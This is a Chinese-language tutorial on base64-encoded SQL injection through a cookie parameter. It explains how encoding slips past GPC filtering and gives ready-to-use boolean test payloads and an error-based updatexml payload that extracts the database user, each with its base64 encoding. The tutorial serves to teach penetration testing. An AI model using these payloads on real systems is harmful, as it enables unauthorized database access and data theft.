web安全之SQL注入(八)

文中详细讲解web安全之SQL注入,通过文中内容更加深入的掌握SQL注入的原理及检测方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

web安全之SQL注入(八)

base64注入

原理

base64编码主要用于数据编码传输,同样接收的参数也有可能使用传输,当接收的值使用base64传输时,即便开启了gpc注入拦截,因为编码过后的字符串不存在特殊字符,从而绕过gpc的检测,再加上在程序中得到重新的解码,这样就会造成base64注入。
编码解码过程

1 ->base64 编码->MQ==->base64 解密->1

web安全之SQL注入(八)_第1张图片

代码分析

从图中就可以看在cookie处,可以使用base64编码后进行注入。
这里造成注入点的位置,就是因为在代码中使用base64解码,从而让我们的攻击者在传入值的时候,使用base64加密,从而带入数据库中查询。
web安全之SQL注入(八)_第2张图片

漏洞演示

首先我们来判断是否存在注入,将判断语句进行base64编码

admin') and 1=1#

编码后:YWRtaW4nKSBhbmQgMT0xIw==
web安全之SQL注入(八)_第3张图片

admin') and 1=2#

编码后:YWRtaW4nKSBhbmQgMT0yIw==
web安全之SQL注入(八)_第4张图片
通过两次返回的页面不同,来判断注入存在。
通过之前的代码分析,可以看出能使用报错注入,这里将报错注入的攻击语句进行base64编码后,进行敏感数据获取。

admin')and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

编码后:YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKSM=
web安全之SQL注入(八)_第5张图片
需要获取其他的敏感信息,只需要修改字查询的位置即可。

你可能感兴趣的:(WEB安全,web安全,渗透测试,SQL注入,MYSQL)